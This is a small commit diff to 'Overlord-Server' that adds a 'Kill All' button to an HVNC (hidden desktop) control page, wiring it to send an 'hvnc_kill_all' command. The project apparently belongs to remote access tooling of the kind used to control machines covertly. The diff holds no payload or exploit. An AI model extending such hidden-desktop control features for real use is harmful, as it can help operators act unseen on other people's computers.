kill all process in hvnc button

Overlord-Server/public/assets/hvnc.js

@@ -55,6 +55,7 @@ import { checkFeatureAccess } from "./feature-gate.js";
   const startBtn = document.getElementById("startBtn");
   const stopBtn = document.getElementById("stopBtn");
   const commandsBtn = document.getElementById("commandsBtn");
+  const killAllBtn = document.getElementById("killAllBtn");
   const fullscreenBtn = document.getElementById("fullscreenBtn");
   const mouseCtrl = document.getElementById("mouseCtrl");
   const kbdCtrl = document.getElementById("kbdCtrl");
@@ -593,6 +594,11 @@ import { checkFeatureAccess } from "./feature-gate.js";
     setStreamState("stopping", "Stopping stream");
     sendCmd("hvnc_stop", {});
   });
+  if (killAllBtn) {
+    killAllBtn.addEventListener("click", function () {
+      sendCmd("hvnc_kill_all", {});
+    });
+  }
   fullscreenBtn.addEventListener("click", function () {
     if (canvasContainer.requestFullscreen) {
       canvasContainer.requestFullscreen();

Overlord-Server/public/hvnc.html

@@ -70,6 +70,9 @@
             <button id="commandsBtn" class="button ghost">
               <i class="fa-solid fa-terminal"></i><span>Commands</span>
             </button>
+            <button id="killAllBtn" class="button ghost" title="Kill all programs running on the hidden desktop">
+              <i class="fa-solid fa-skull"></i><span>Kill All</span>
+            </button>
             <button id="fullscreenBtn" class="button ghost">
               <i class="fa-solid fa-expand"></i><span>Fullscreen</span>
             </button>